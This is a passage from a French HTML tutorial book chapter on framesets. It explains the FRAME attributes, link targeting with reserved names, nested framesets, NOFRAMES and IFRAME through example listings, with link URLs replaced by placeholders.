8 Vous pouvez modifier le commentaire avec l’élément OBJECT jpg.

Enregistrez ensuite le fichier sous le même nom.
9 Ouvrez successivement les fichiers [Link] et [Link].
Modifiez les numéros de version en 2.7.1 et supprimez les liens,
puis enregistrez-les sans modifier leur nom.
Désormais, vous passez d’une page à l’autre aisément, d’un
simple clic.

Il est bien sûr possible à ce stade d’encore améliorer le site. À l’aide des
informations obtenues lors de la lecture des chapitres précédents
(essentiellement le Chapitre 6), vous pourriez notamment :
j Ajouter un arrière-plan aux deux cadres. En toute logique, un
bandeau serait parfait pour la barre de navigation (puisque la taille
est fixe), tandis qu’une mosaïque, éventuellement de type
filigrane, serait parfaite pour le cadre principal.
j Ajouter un arrière-plan aux cellules du tableau de la barre de
navigation, ou remplacer les liens texte par des dessins ou icônes
employant des polices plus sophistiquées. Vous verrez dans le
Chapitre 9, traitant des scripts, comment rendre cette barre encore
plus attractive.

LE GUIDE COMPLET 255

 Chapitre 7 Jeux d’encadrement

Vous pourriez également créer d’autres barres de navigation, adaptées à

l’affichage de pages de niveau inférieur des pages déjà créées (par
exemple, un détail des passions), voire modifier totalement le jeu
d’encadrement en le remplaçant par un autre, comme vous allez le
découvrir dans la suite de ce chapitre. Les possibilités ne dépendent que
de votre imagination !

Voici le nouvel état du listing du fichier [Link].

Listing 7-4 : [Link]
<!DOCTYPE HTML PUBLIC
"-//W3C//DTD HTML 4.01 Frameset//EN"
"[Link]
<HEAD>
<TITLE>"Mon site Web"</TITLE>
<META HTTP-EQUIV="Content-Type" CONTENT="text/html;
charset=iso-8859-1">
<META name="author" content="votre nom">
<META name="version" content="2.7.2">
</HEAD>
<FRAMESET>
<FRAME src="[Link]" name="nav" noresize
scrolling="no"
frameborder="0" marginheight="0">
<FRAME src="[Link]" name ="princ"
frameborder="0">
<NOFRAMES>
<P>Ce document a recours &agrave; un jeu
d’encadrement qui contient :
<UL>
<LI><A href="[Link]">
Une barre de navigation </A>
<LI><A href="[Link]">
Une page d’accueil</A>
</UL>
</P>
</NOFRAMES>
</FRAMESET>
</HTML>

Il est toutefois temps de comprendre comment s’effectue toute cette

magie, en examinant les différents constituants de l’élément FRAMESET.
Commençons par les attributs de l’élément FRAME.

256 LE GUIDE COMPLET

 Contenu d’un jeu d’encadrement : élément FRAME Chapitre 7

Attributs essentiels de l’élément FRAME :

name et src
L’élément FRAME définit le contenu et l’apparence d’un unique cadre.

L’attribut name assigne un nom au cadre courant. Ce nom est employé

comme cible des liens : le cadre dans lequel ouvrir un document. Bien
que facultatif en théorie, cet attribut est en pratique presque toujours
nécessaire.
<FRAME src="[Link]" name="nav" noresize
scrolling="no"
frameborder="0" marginheight="0">
<FRAME src="[Link]" name ="princ"
frameborder="0">

Un nom de cadre doit répondre à certains impératifs. Il doit commencer

avec un caractère alphanumérique, pas par un symbole. Il existe
toutefois un certain nombre de « noms réservés » qui possèdent des
propriétés spéciales. Ces noms commencent par un trait de
soulignement. Il s’agit de _blank, _self, _parent, et _top. Chacun
possède un but spécial dans les cadres, et accomplit quelque chose
d’unique. Ces noms réservés et leur emploi seront examinés un peu plus
loin dans ce chapitre.

L’attribut src spécifie la localisation du contenu initial à placer dans le

cadre défini par l’élément FRAME :
<FRAME src="[Link]" name="nav" noresize
scrolling="no"
frameborder="0" marginheight="0">
<FRAME src="[Link]" name ="princ"
frameborder="0">

Contenu et définition des cadres

La définition d’un jeu d’encadrement, telle que spécifiée par les
valeurs des attributs src des éléments FRAME, ne change jamais. En
revanche, le contenu de l’un ou de plusieurs de ses cadres peut changer.
Après une telle modification, la définition du jeu d’encadrement ne
reflète plus la situation courante de ses cadres.

LE GUIDE COMPLET 257

 Chapitre 7 Jeux d’encadrement

Attributs de mise en forme de l’élément FRAME

Ces attributs conditionnent la façon dont les agents utilisateurs restituent
le cadre et influent sur son comportement.

L’attribut booléen noresize indique à l’agent utilisateur que le cadre

ne doit pas être redimensionnable : s’il est présent, il est impossible
d’effectuer un glisser-déposer pour modifier la taille du cadre.
<FRAME src="[Link]" name="nav" noresize
scrolling="no"
frameborder="0" marginheight="0">

L’attribut scrolling autorise ou interdit la présence de barres de

défilement pour la fenêtre du cadre. Les valeurs possibles sont auto
(une barre de défilement est présente si nécessaire. C’est la valeur par
défaut), yes (mécanisme de défilement toujours présent) et no
(mécanisme de défilement toujours absent).
<FRAME src="[Link]" name="nav" noresize
scrolling="no"
frameborder="0" marginheight="0">

L’attribut frameborder procure à l’agent utilisateur une indication sur

la bordure du cadre. Les valeurs possibles sont 1 (présence d’une
séparation entre ce cadre et chacun des cadres adjacents. C’est la valeur
par défaut) et 0 (pas de séparation entre ce cadre et chacun des cadres
adjacents).

Remarquez que des séparateurs peuvent néanmoins être dessinés à côté

de ce cadre, s’ils sont spécifiés par les cadres adjacents. Si vous ne
voulez pas de séparation entre plusieurs cadres, spécifiez
frameborder="0" pour tous les cadres concernés, comme nous
l’avons fait sur notre site :
<FRAME src="[Link]" name="nav" noresize
scrolling="no"
frameborder="0" marginheight="0">
<FRAME src="[Link]" name ="princ"
frameborder="0">

Les attributs marginwidth et marginheight spécifient

respectivement la quantité d’espace à laisser entre le contenu du cadre et
ses marges latérales (gauche et droite) et haute et basse. La valeur,
exprimée en pixels, doit être supérieure à zéro. Les valeurs par défaut
dépendent de l’agent utilisateur. Comme les principaux navigateurs
présentent sur ce point des différences sensibles, mieux vaut spécifier

258 LE GUIDE COMPLET

 Contenu d’un jeu d’encadrement : élément FRAME Chapitre 7

explicitement des valeurs, surtout pour les barres de navigation et les

cadres à dimensions fixes.
<FRAME src="[Link]" name="nav" noresize
scrolling="no"
frameborder="0" marginheight="0">

Autres attributs de l’élément FRAME

Comme pour la plupart des autres éléments, un élément FRAME peut
posséder des attributs id, class (identifiants internes au document),
title (titre de l’élément) et style (informations de style en ligne),
ainsi qu’un attribut longdesc qui spécifie un lien vers une description
longue du cadre. Cette description devrait suppléer à la brève
description fournie à l’aide de l’attribut title. Elle peut être
particulièrement utile aux agents utilisateurs non visuels.
L’attribut longdesc permet de rendre les documents avec des cadres
plus accessibles aux personnes utilisant des agents utilisateurs non
visuels. Remarquez toutefois que les descriptions longues associées aux
cadres sont attachées à ceux-ci et non à leur contenu. Ce dernier pouvant
varier au fil du temps, la description longue initiale peut devenir
inadéquate pour les contenus ultérieurs du cadre. Mieux vaut notamment
ne pas inclure une image comme seul contenu d’un cadre.

Le document avec jeu d’encadrement suivant décrit deux cadres. Le

cadre de gauche contient une table des matières et celui de droite
contient initialement l’image d’une autruche :
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN"
"[Link]
<HTML>
<HEAD>
<TITLE>Un document avec jeu d’encadrement mal fait</TITLE>
</HEAD>
<FRAMESET cols="20%, 80%">
<FRAME src="table_des_matieres.html">
<FRAME src="[Link]" longdesc="[Link]">
</FRAMESET>
</HTML>

Remarquez que l’image est incluse dans le cadre indépendamment de

tout élément HTML : l’attribut longdesc constitue le seul moyen de
spécifier un texte de remplacement. Si le contenu du cadre de droite
change (par exemple, l’utilisateur choisit dans la table des matières un
serpent à sonnette), les utilisateurs n’auront aucun accès textuel au
nouveau contenu du cadre.

LE GUIDE COMPLET 259

 Chapitre 7 Jeux d’encadrement

Il ne faut donc pas placer directement une image dans un cadre comme
valeur de l’attribut src. L’image doit plutôt être spécifiée dans un
document HTML séparé, dans lequel elle est annotée à l’aide du texte de
remplacement adéquat :
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN"
"[Link]
<HTML>
<HEAD>
<TITLE>Un document avec jeu d’encadrement bien fait</TITLE>
</HEAD>
<FRAMESET cols="20%, 80%">
<FRAME src="table_des_matieres.html">
<FRAME src="[Link]">
</FRAMESET>
</HTML>
<!-- Dans le document [Link]: -->
<HTML>
<HEAD>
<TITLE>L’autruche rapide et puissante</TITLE>
</HEAD>
<P>
<OBJECT data="[Link]" type="image/gif">
Ces autruches ont vraiment bon go&ucirc;t !
</OBJECT>
</HTML>

Enfin, un attribut target peut être placé dans un élément FRAME,

définissant ainsi une cible par défaut pour tous les liens de ce cadre.
L’attribut target est étudié plus en détail dans la section suivante.

Définition et contenu
Un document qui contient une définition de cadre ne doit pas
comporter le contenu de ce cadre. L’exemple suivant est illégal, puisque
le contenu du deuxième cadre se trouve dans le même document que le
jeu d’encadrement.

<FRAMESET cols="50%,50%">
<FRAME src="contenu_cadre1.html">
<FRAME src="#ancre_du_meme_document">
<NOFRAMES>
...un texte...
<H2><A name="ancre_du_meme_document">Passage important</A>
</H2>
...un texte...
</NOFRAMES>
</FRAMESET>

260 LE GUIDE COMPLET

 Détermination du cadre cible : attribut target Chapitre 7

7.3. Détermination du cadre cible :

attribut target
Une fois le jeu d’encadrement créé, vous devez disposer d’un moyen de
naviguer entre les cadres. La plupart des jeux d’encadrement consistent
en un cadre principal entouré d’autres cadres, comme des bannières, des
menus de navigation ou d’autres éléments.

Que se passe-t-il toutefois lorsque vous cliquez sur un lien situé à

l’intérieur d’un cadre ? D’habitude, cela ouvre une nouvelle page à
l’intérieur de la fenêtre active, donc du même cadre. Ceci peut rendre les
choses difficiles à lire lors de l’utilisation d’un menu de navigation
étroit ! Heureusement, lorsque vous cliquez sur un lien dans un
ensemble de cadres, vous pouvez spécifier que la nouvelle page doit
s’ouvrir :
j Dans le même cadre.
j Dans un autre cadre du jeu d’encadrement.
j Dans un autre cadre à l’intérieur d’un cadre enfant ou parent
(dans le cas de cadres imbriqués, abordés plus loin).
j Dans un nouveau jeu d’encadrement qui remplace le jeu existant
et toutes les fenêtres qui pouvaient s’y trouver.
j Dans un autre cadre, forçant un autre cadre à se relancer ou à
ouvrir une nouvelle page.
j Dans une nouvelle fenêtre du navigateur.
j Dans la fenêtre actuelle en remplaçant l’actuel jeu d’encadrement.

Comme vous pouvez le voir, il existe de nombreuses façons de

manipuler le contenu des cadres à l’aide de liens. Par défaut, les liens
s’ouvrent dans le même cadre.

Pour ouvrir un lien dans un autre cadre, vous employez l’attribut

target :
<A href="[Link]" target="cible">

Si toutefois vous souhaitez ouvrir un cadre à l’intérieur d’un autre cadre

du jeu d’encadrement, vous devez d’abord préciser le nom de chaque
cadre, et cibler ce cadre. Par exemple :
<FRAME name="contenu">

nomme un cadre précis nommé contenu. Un clic sur le lien

LE GUIDE COMPLET 261

 Chapitre 7 Jeux d’encadrement

<A href=”[Link]” target=”contenu”>

ouvrira le document Web nommé [Link] à l’intérieur du cadre nommé

contenu.

L’attribut target peut se placer sur les éléments qui créent des liens (A,
LINK), des images cliquables (AREA) et des formulaires (FORM).

Vous pouvez aussi cibler tous les cadres d’un ensemble, et tous les liens
d’un cadre, en plaçant l’attribut target dans l’élément FRAME.
<FRAME name="barrenav" target="contenu">

ouvre un cadre nommé barrenav, qui ouvrira par défaut tous ses liens
dans le cadre nommé contenu. Comme vous pouvez le voir, les
possibilités sont immenses.

Noms réservés
Nous avons précédemment évoqué l’existence de noms réservés, qui
débutent par un trait de soulignement : _blank, _self, _parent et
_top.

Ces noms réservés devraient imposer à l’agent utilisateur de fonctionner

comme suit :
j Un lien qui cible _blank ouvre une page dans une nouvelle
fenêtre dépourvue de nom.
Utilisez target=_blank lorsque votre lien renvoie en dehors de
votre site. Par exemple, si vous proposez une liste de liens, ceux
qui appartiennent à d’autres personnes doivent s’ouvrir dans de
nouvelles fenêtres. En effet, votre site n’est probablement pas le
seul à utiliser les cadres : rien n’est plus énervant qu’un site en
cadres à l’intérieur du petit cadre de contenu d’un autre site en
cadres. En outre, vous ne voudriez peut-être pas être associé au
propriétaire du contenu de ce site : si le lien s’ouvre dans votre
ensemble, il apparaîtra comme faisant partie de votre site, ce qui
peut être très désagréable.

Anciennes versions
Avec les anciennes versions de Netscape Navigator, _new possède un
effet analogue à _blank, mais ne fait pas partie du standard HTML.

262 LE GUIDE COMPLET

 Détermination du cadre cible : attribut target Chapitre 7

j La cible _self ouvre une page à l’intérieur du cadre actif. C’est

le comportement par défaut de beaucoup d’agents utilisateurs : en
l’absence de cible spécifiée, le document nommé par le lien
s’ouvre dans le cadre actif. Ceci est utile pour les liens situés à
l’intérieur du cadre principal, généralement censés ouvrir des
contenus différents dans ce cadre.
j Le nom réservé _parent s’applique aux cadres imbriqués.
Lorsque vous ciblez le cadre _parent, vous ciblez réellement le
cadre dans lequel réside votre cadre actuel.
j Enfin, _top ouvre le lien dans la fenêtre en cours, remplaçant la
totalité du jeu d’encadrement actif. Une fenêtre de navigation peut
être considérée comme un conteneur. Celui-ci peut renfermer un
jeu d’encadrement, à l’intérieur duquel peut se trouver un autre
jeu d’encadrement. Lorsque vous lancez un lien dans un autre
cadre, le contenu est mélangé dans le conteneur. En l’ouvrant en
revanche dans _top, le contenu du conteneur est remplacé en
totalité par la ou les pages auxquelles mène ce lien. Vous
emploierez par exemple _top pour ouvrir un nouveau fichier de
définition de jeu d’encadrement, différent du jeu actif.

Remarquez bien l’emploi de « devraient »… En pratique, quelques

précautions complémentaires sont nécessaires lors de l’emploi de jeux
d’encadrement imbriqués, comme vous le verrez plus loin. Les agents
utilisateurs, dont les principaux navigateurs, peuvent interpréter
différemment selon les situations ces noms réservés, notamment
_parent.

Conflits de noms de cadres

À un moment donné, il peut arriver que deux cadres possèdent le
même nom. C’est souvent le résultat d’une ouverture d’un ensemble de
cadres dans un ensemble existant. HTML 4.01 dispose de règles
spéciales pour la gestion de ce genre de conflits. Le navigateur recherche
d’abord le cadre nommé dans l’ensemble le plus profond. Si aucun cadre
de ce nom n’existe, il cherche dans le cadre parent, puis dans l’ensemble
parent, et ainsi de suite. S’il ne parvient toutefois pas à identifier de
cadre portant ce nom, il ouvre un nouveau cadre et lui attribue ce nom.

LE GUIDE COMPLET 263

 Chapitre 7 Jeux d’encadrement

Établissement de la cible par défaut

des liens
Quand, dans une même document, plusieurs liens désignent la même
cible, il est possible de spécifier la cible une seule fois et de se passer de
l’attribut target de chaque élément. Pour ce faire, définissez dans le
document l’attribut target sur un élément BASE.

Par exemple, pour spécifier que tous les liens situés dans le document
[Link] doivent ouvrir un nouveau fichier dans le cadre nommé
affichage, vous définissez comme suit un élément BASE :
...
<META name="version" content="2.7.1">
<BASE href="MonSite" target="affichage">
</HEAD>
...

Sémantique de cible
La détermination par l’agent utilisateur du cadre cible n’est pas toujours
évidente. HTML 4.01 recommande que les agents utilisateurs
déterminent le cadre cible dans lequel charger une ressource reliée selon
la préséance suivante (de la priorité la plus élevée à la plus basse) :
j Si l’attribut target d’un élément vise un cadre connu, quand
l’élément est activé (un clic sur un lien ou la soumission d’un
formulaire), la ressource désignée par l’élément devrait se charger
dans le cadre cible.
j Si cet élément est dépourvu d’attribut target et qu’en revanche
l’élément BASE en possède un, c’est l’attribut target de
l’élément BASE qui détermine le cadre.
j Si ni cet élément ni l’élément BASE ne se réfèrent à une cible, la
ressource désignée par l’élément devrait se charger dans le cadre
qui contient l’élément (comportement par défaut identique à une
cible _self).
j Si un attribut target se réfère à un cadre C inconnu, l’agent
utilisateur devrait créer une nouvelle fenêtre et un nouveau cadre,
puis assigner le nom C au cadre et, enfin, charger la ressource
désignée par l’élément dans le nouveau cadre.

264 LE GUIDE COMPLET

 Ensembles de cadres imbriqués Chapitre 7

Les agents utilisateurs devraient fournir aux utilisateurs un mécanisme

permettant de surclasser l’attribut target.

Remarquez qu’une fois de plus les comportements par défaut préconisés

par HTML pour les agents utilisateurs sont d’une efficacité certaine :
vous pouvez très souvent vous abstenir de spécifier différents attributs
en vous reposant sur le comportement par défaut. C’est toutefois une
attitude un peu risquée, car un agent utilisateur au comportement
inhabituel peut amener des résultats catastrophiques : par sécurité,
mieux vaut spécifier tout ce qui peut l’être. Cela est particulièrement
valable pour l’attribut target.

7.4. Ensembles de cadres imbriqués

Les jeux d’encadrement peuvent s’imbriquer à n’importe quel niveau.

Dans l’exemple suivant, l’élément FRAMESET externe divise l’espace

disponible en trois colonnes presque égales. L’élément FRAMESET
interne partage alors la deuxième colonne en deux rangées de hauteur
inégale.
...
<FRAMESET cols="33%, 33%, 34%">
<FRAME name="cadre1" src="[Link]">
<FRAMESET rows="40%, 60%">
<FRAME name="cadre2l1" src="[Link]">
<FRAME name="cadre2l2" src="[Link]">
</FRAMESET>
<FRAME name="cadre3" src="[Link]">
</FRAMESET>
...

Le schéma de l’aspect de ce jeu d’encadrement est présenté dans la

figure suivante.

Figure 7.5 :
Jeux d’encadrement imbriqués

LE GUIDE COMPLET 265

 Chapitre 7 Jeux d’encadrement

Lorsque des jeux d’encadrement sont imbriqués, certains cadres sont les
« parents » des autres. Cela est sans importance la plupart du temps,
mais devient capital lorsque vous devez gérer les scripts et que vous
utilisez les noms réservés, avec comme cible _parent.

Revenez à l’exemple présenté ci-dessus. Ce jeu crée un ensemble de

quatre cadres. Le jeu principal est divisé en trois colonnes, la colonne
centrale étant divisée en deux lignes. Considérez le lien suivant :
<A href="test_parent.html" target="_parent">Lien</A>

Nous avons placé ce lien dans les fichiers nommés [Link] et

[Link]. Le fichier [Link] contient en revanche le lien :
<A href="test_parent.html" target="_self">Lien</A>

Enfin, le fichier [Link] contient le lien :

<A href="test_parent.html" target="_top">Lien</A>

En ouvrant le fichier [Link] dans votre navigateur, vous

voyez ce qui est présenté dans la figure suivante.

Figure 7.6 : Jeux d’encadrement imbriqués

Un clic sur le lien du cadre nommé cadre1 ouvre le fichier

test_parent.html dans la totalité de la page.

Figure 7.7 :
Le _parent de cadre1 est la
totalité de la fenêtre

266 LE GUIDE COMPLET

 Ensembles de cadres imbriqués Chapitre 7

Un clic sur le lien du cadre de la seconde ligne de la seconde colonne

ouvre le fichier test_parent.html dans ce cadre.

Figure 7.8 : Le _self de cadre2 est bien lui-même

Enfin, un clic sur le lien du cadre 3 ouvre aussi le fichier dans la totalité
de la page : pour cadre1 et cadre2, _top et _parent possèdent la
même signification. Jusque-là, tout va bien.

En revanche, un clic sur le lien du cadre de la première ligne de la

seconde colonne devrait ouvrir le fichier test_parent.html dans la totalité
de cette colonne, remplaçant ce deuxième jeu d’encadrement.
Malheureusement, tel n’est pas le cas, et le fichier s’ouvre comme si
_top avait été employé, ou comme si vous aviez cliqué sur le lien de
cadre1 : c’est-à-dire sur un lien situé dans un cadre qui n’appartient pas
lui-même à un jeu d’encadrement secondaire. Le résultat est identique à
ce qui est présenté dans la figure de la page 276.

Que se passe-t-il ? Il semble en pratique que les agents utilisateurs

considèrent souvent que des jeux d’encadrement imbriqués définis dans
un unique fichier ne constituent qu’un unique jeu d’encadrement. Pour
remédier à ce défaut, nous avons modifié comme suit le fichier de
spécification du jeu d’encadrement principal, enregistré sous le nom
[Link] :
...
<FRAMESET cols="33%, 33%, 34%">
<FRAME name="cadre1" src="[Link]">
<FRAME name="cadre2" src="[Link]">
<FRAME name="cadre3" src="[Link]">
</FRAMESET>
...

LE GUIDE COMPLET 267

 Chapitre 7 Jeux d’encadrement

Vous spécifiez donc ici un jeu d’encadrement unique. Remarquez

l’apparition du fichier [Link]. Celui-ci est une nouvelle
spécification de jeu d’encadrement :
...
<FRAMESET rows="40%, 60%">
<FRAME name="cadre2l1" src="[Link]">
<FRAME name="cadre2l2" src="[Link]">
</FRAMESET>
...

Nous possédons déjà les autres fichiers. À l’examen du fichier

[Link] dans un navigateur, aucune différence avec
l’aspect précédent n’apparaît, si ce n’est le titre et l’URL de la page.

Figure 7.9 :
Jeux d’encadrement
imbriqués

Comme précédemment, un clic sur le lien du cadre nommé cadre1

ouvre le fichier test_parent.html dans la totalité de la page. Un clic sur le
lien du cadre de la seconde ligne de la seconde colonne ouvre le fichier
test_parent.html dans ce cadre. Enfin, un clic sur le lien du cadre 3 ouvre
aussi le fichier dans la totalité de la page. Aucune différence.

Cette fois cependant, un clic sur le lien du cadre de la première ligne de

la seconde colonne ouvre bien le fichier test_parent.html dans la totalité
de cette colonne, remplaçant ce deuxième jeu d’encadrement.

Figure 7.10 :
Le _parent de
cadre2l1 est cette
fois cadre2

268 LE GUIDE COMPLET

 Partage de données entre cadres Chapitre 7

Lors de la réalisation de cadres imbriqués, mieux vaut donc séparer les

spécifications des jeux concernés pour éviter tout problème de
comportement du nom réservé _parent, ou vous en tenir à des cadres
nommés explicitement désignés.

7.5. Partage de données entre cadres

Il est possible de partager des données entre plusieurs cadres en incluant
celles-ci au moyen de l’élément OBJECT. L’élément OBJECT doit être
placé dans l’élément HEAD du document de définition du jeu
d’encadrement et nommé à l’aide d’un attribut id. Tout document qui
est le contenu d’un cadre dans le jeu d’encadrement peut alors se référer
à cet identifiant.

L’exemple suivant illustre la manière dont un script pourrait appeler un

élément OBJECT défini pour le jeu d’encadrement entier (nous
étudierons plus en détail les scripts dans le Chapitre 10).

Fichier de définition du jeu d’encadrement :

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN"
"[Link]
<HTML>
<HEAD>
<TITLE>Voici un jeu d’encadrement avec un OBJECT dans HEAD
</TITLE>
<!-- Cet OBJECT n’est pas restitu&eacute ! -->
<OBJECT id="mon_objet" data="[Link]"></OBJECT>
</HEAD>
<FRAMESET>
<FRAME src="[Link]" name="martine">
</FRAMESET>
</HTML>

Listing 7-5 : Fichier [Link]

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"[Link]
<HTML>
<HEAD>
<TITLE>La page de Martine</TITLE>
</HEAD>
<BODY>
...le d&eacute;but du document...
<P>
<SCRIPT type="text/javascript">
parent.mon_objet.propri&eacute;t&eacute;
</SCRIPT>

LE GUIDE COMPLET 269

 Chapitre 7 Jeux d’encadrement

...le reste du document...

</BODY>
</HTML>

D’autres cadres du jeu d’encadrement pourraient également faire

référence à l’élément OBJECT.

7.6. Contenu de remplacement :

élément NOFRAMES
Tous les agents utilisateurs ne sont pas en mesure de reconnaître les
cadres. En outre, certains peuvent être configurés pour ne pas les
afficher. Il est donc important de fournir un contenu de remplacement, ce
qui est obtenu à l’aide de l’élément NOFRAMES.

L’élément NOFRAMES spécifie le contenu qui ne devrait être affiché que

par les agents utilisateurs qui ne reconnaissent pas les cadres ou sont
configurés pour ne pas les afficher. Les agents utilisateurs qui
reconnaissent les cadres ne doivent afficher le contenu d’une déclaration
NOFRAMES que s’ils sont configurés pour ne pas afficher les cadres.
Ceux qui ne reconnaissent pas les cadres doivent afficher dans tous les
cas le contenu de l’élément NOFRAMES.

L’élément NOFRAMES fait partie à la fois des DTD transitoires et des

jeux d’encadrement. Dans un document qui fait appel au DTD de jeu
d’encadrement, l’élément NOFRAMES est placé à la fin de la section
FRAMESET du document.

C’est ce que nous avons fait dans notre fichier de définition de jeu
d’encadrement [Link] :
...
<FRAMESET rows="50, *">
<FRAME src="[Link]" name="nav" noresize
crolling="no" frameborder="0" marginheight="0">
<FRAME src="[Link]" name ="princ" frameborder="0">
<NOFRAMES>
<P>Ce document a recours &agrave; un jeu d’encadrement
qui contient :
<UL>
<LI><A href="[Link]">Une barre de
navigation </A>
<LI><A href="[Link]">Une page
d’accueil</A>
</UL>

270 LE GUIDE COMPLET

 Cadres en ligne : élément IFRAME Chapitre 7

</P>
</NOFRAMES>
</FRAMESET>
...

L’élément NOFRAMES peut être employé dans un document qui constitue

la source d’un cadre et qui utilise le DTD transitoire. Cela permet aux
auteurs d’expliquer l’objet du document, au cas où celui-ci serait vu
indépendamment du jeu d’encadrement ou encore avec un agent
utilisateur ne reconnaissant pas les cadres.

7.7. Cadres en ligne : élément IFRAME

Depuis sa version 3.0, Internet Explorer permettait de définir des cadres
en ligne, qui « flottaient » dans la page. Ce dispositif a été repris dans
HTML 4.01.

L’élément IFRAME permet d’insérer un cadre dans un bloc de texte.

L’insertion d’un cadre en ligne dans un passage textuel revient un peu à
y insérer un objet via l’élément OBJECT : ces éléments permettent tous
deux l’insertion d’un document HTML au sein d’un autre, ils peuvent
tous deux être alignés sur le texte environnant, etc.

Cet élément possède les mêmes attributs que l’élément FRAME, à

l’exception de l’attribut noresize superflu puisqu’un cadre en ligne ne
peut jamais être redimensionné.

Les informations qui doivent être insérées en ligne sont désignées par
l’attribut src. En revanche, comme avec l’élément OBJECT, le contenu
de l’élément IFRAME ne doit être affiché que par les agents utilisateurs
qui ne reconnaissent pas les cadres ou qui sont configurés pour ne pas
les afficher.

Voici un exemple de mise en œuvre d’un cadre flottant.

Listing 7-6 : [Link]
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN"
"[Link]
<HTML>
<HEAD>
<TITLE>Exemple de cadre flottant </TITLE>
</HEAD>
<BODY>
<P>Ceci est un exemple de cadre flottant

LE GUIDE COMPLET 271

 Chapitre 7 Jeux d’encadrement

<IFRAME src="[Link]"
width="400" height="500"
scrolling="auto" frameborder="1">
[Votre agent utilisateur ne reconnaît pas les cadres ou
n’est pas configur&eacute; pour les afficher pour l’instant.
Cependant, vous pouvez visiter le
<A href="[Link]">document concerné.</A>]
</IFRAME>
plac&eacute; &agrave; l’int&eacute;rieur d’un texte.
</P>
</BODY>
</HTML>

Listing 7-7 : [Link]

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"[Link]
<HTML>
<HEAD>
<TITLE>Cadre flottant</TITLE>
</HEAD>
<BODY>
<H1>Quelques informations importantes</H1>
<P>Les informations contenues dans ce document sont
affich&eacute;es dans un cadre flottant si l’agent
utilisateur reconna&icirc;t les cadres ou peuvent &ecirc;tre
affich&eacute;es dans une page propre si tel n’est pas le cas.
</P>
</BODY>
</HTML>

Pour les agents utilisateurs qui reconnaissent les cadres, l’exemple suivant
placera un cadre en ligne, entouré par une bordure, au milieu du texte.

Figure 7.11 : Cadre flottant affiché par un navigateur reconnaissant les

cadres

En revanche, si l’agent utilisateur ne reconnaît pas les cadres ou est

configuré pour ne pas les afficher, le fichier [Link] sera
affiché.

272 LE GUIDE COMPLET

 Travail avec les jeux d’encadrement Chapitre 7

Figure 7.12 : Cadre flottant affiché par un navigateur qui ne reconnaît pas
les cadres

Un clic sur le lien proposé à cet effet affiche le contenu du cadre flottant
dans une fenêtre propre.

Figure 7.13 :
Le contenu du cadre
flottant (celui du fichier
[Link]) est
affiché dans une fenêtre
propre

Élément OBJECT
Vous pouvez également incorporer un document HTML dans un autre
document HTML avec l’élément OBJECT, déjà abordé au Chapitre 6
ainsi que dans la section précédente, et sur lequel nous reviendrons
encore.

7.8. Travail avec les jeux

d’encadrement
Lorsque vous concevez un jeu d’encadrement, vous devez vous souvenir
que son aspect à l’écran peut différer de ce que vous aviez en tête, et ce
pour de multiples raisons. Par exemple, chaque barre de défilement
présente sur un cadre réduit l’espace disponible à l’écran, ce qui rend le
site de plus en plus exiguë et inconfortable. Pour améliorer le confort,
réduisez le nombre de cadres.

Commencez par bien définir les raisons pour lesquelles vous souhaitez
employer un cadre dans vos pages HTML. Désirez-vous faire de la
place pour une bannière publicitaire ? Inclure une barre de navigation

LE GUIDE COMPLET 273

 Chapitre 7 Jeux d’encadrement

sur un côté de l’écran (ou en haut ou en bas) ? Comparer deux

documents côte à côte ? Mieux vaut toujours tracer par écrit un schéma
de la structure de jeu d’encadrement que vous souhaitez concevoir, en y
inscrivant les noms attribués aux cadres.

Les principales questions auxquelles vous devez impérativement

répondre préalablement à la conception d’un jeu d’encadrement sont les
suivantes :
j Quel cadre sera susceptible de subir les modifications les plus
fréquentes ou les plus nombreuses ?
j Comment les utilisateurs navigueront-ils dans ce jeu
d’encadrement ?
j En quoi ce jeu d’encadrement aidera-t-il votre public à apprécier
le site ?

D’une certaine façon, les problèmes de conception d’un jeu

d’encadrement sont très proches de ceux rencontrés lors de la
conception de tableaux.

Un des principaux problèmes posés par les cadres, comme avec les
tableaux, concerne la taille de l’écran. Si toutefois, dans une conception
HTML typique, vous ne vous préoccupez généralement que de la largeur
de l’écran lors de la réalisation de grands tableaux de présentation, les
cadres occupent la totalité de la fenêtre du navigateur.

La plupart des utilisateurs naviguent avec une taille de fenêtre

maximale : celle-ci occupe tout l’écran disponible. Ceci signifie que les
résolutions type des écrans ont un rôle à jouer. Les résolutions les plus
fréquentes sont désormais par ordre décroissant : 1024 × 768 (56 %),
1280 × 1024 (16 %) et 800 × 600 (12 %) et, les autres résolutions (1280
× 800 et 1152 × 864) ne représentant que moins de 8 % du parc. Il est
donc raisonnable de considérer que l’écran de l’utilisateur possède une
dimension au moins égale à 800 pixels de large pour 600 pixels de haut :
tenez-en compte lors de votre conception, par exemple pour la taille
d’une barre de navigation.

N’oubliez en outre pas que les cadres sont officiellement apparus dans
HTML 4.0. Des agents utilisateurs plus anciens ne pourront peut être pas
reconnaître un ou plusieurs des attributs décrits dans ce chapitre. Par
exemple, « cibler un cadre » ou les attributs de largeur et de délimitation
peuvent ne pas fonctionner correctement avec des navigateurs anciens.
Pire encore, ils peuvent fonctionner d’une façon autre que celle

274 LE GUIDE COMPLET

 Résumé Chapitre 7

attendue. Même si la grande majorité des navigateurs prennent en

charge depuis un temps certain la quasi-totalité des attributs abordés
dans ce chapitre (comme Microsoft Internet Explorer et Netscape
Navigator depuis leur version 3.0), mieux vaut toujours tester vos pages
avec d’autres navigateurs avant de lancer votre site.

Sachez enfin que les jeux d’encadrement peuvent rendre la navigation

d’avant en arrière, par le biais de l’historique de l’agent utilisateur, plus
compliquée pour les utilisateurs.

7.9. Résumé
j Les cadres ou frames sont largement employés en HTML. Ils
constituent le principal moyen d’afficher plusieurs HTML sur le
même écran au même moment.
j Un fichier de définition de jeu d’encadrement possède une syntaxe
analogue à celle d’un document HTML ordinaire, mais son code
diffère. Ils utilisent un élément DOCTYPE différent en tête de page,
et sont dépourvus d’élément BODY, remplacé par un élément
FRAMESET.
j L’élément FRAMESET spécifie la disposition des vues dans la
fenêtre principale de l’agent utilisateur.
